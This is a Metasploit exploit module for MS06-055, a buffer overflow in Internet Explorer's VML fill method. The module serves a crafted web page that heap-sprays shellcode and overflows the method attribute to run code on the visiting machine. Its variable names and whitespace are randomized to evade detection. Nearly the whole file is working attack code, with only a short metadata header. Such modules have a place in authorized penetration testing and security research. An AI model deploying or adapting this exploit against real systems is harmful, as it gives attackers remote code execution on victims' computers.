##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution',
      'Description'    => %q{
          This module exploits a code execution vulnerability in Microsoft Internet Explorer using
        a buffer overflow in the VML processing code (VGX.dll). This module has been tested on
        Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hdm',
          'Aviv Raff <avivra[at]gmail.com>',
          'Trirat Puttaraksa (Kira) <trir00t[at]gmail.com>',
          'Mr.Niega <Mr.Niega[at]gmail.com>',
          'M. Shirk <shirkdog_list[at]hotmail.com>'
        ],
      'References'     =>
        [
          ['CVE',   '2006-4868'],
          ['OSVDB', '28946'],
          ['MSB',   'MS06-055'],
          ['BID',   '20096'],
        ],
      'Payload'        =>
        {
          'Space'          => 1024,
          'BadChars'       => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 19 2006'))
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Determine the buffer length to use
    buflen = 1024
    if (request.headers['User-Agent'] =~ /Windows 5\.[123]/)
      buflen = 65535
    end

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Get a unicode friendly version of the return address
    addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

    # Select a random VML element to use
    vmls = %w{ rect roundrect line polyline oval image arc curve }
    vmlelem = vmls[ rand(vmls.length) ]

    # The overflow buffer for the method attribute
    buffer = ("&#x" + addr_word + ";") * buflen

    # Generate a random XML namespace for VML
    xmlns = rand_text_alpha(rand(30)+2)

    # Randomize the javascript variable names
    var_buffer    = rand_text_alpha(rand(30)+2)
    var_shellcode = rand_text_alpha(rand(30)+2)
    var_unescape  = rand_text_alpha(rand(30)+2)
    var_x         = rand_text_alpha(rand(30)+2)
    var_i         = rand_text_alpha(rand(30)+2)

    # Build out the message
    content = %Q|
<html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " >
<head>
<style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style>
<body>
<script>

  var #{var_unescape}  = unescape ;
  var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

  var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
  while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;

  var #{var_x} = new Array() ;
  for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
    #{var_x}[ #{var_i} ] =
      #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
      #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
      #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
      #{var_buffer}.substring( 0 ,  0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
  }

</script>
<#{xmlns}:#{vmlelem}>
  <#{xmlns}:fill method = "#{buffer}" />
</#{xmlns}:#{vmlelem}>

</body>
</html>
    |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
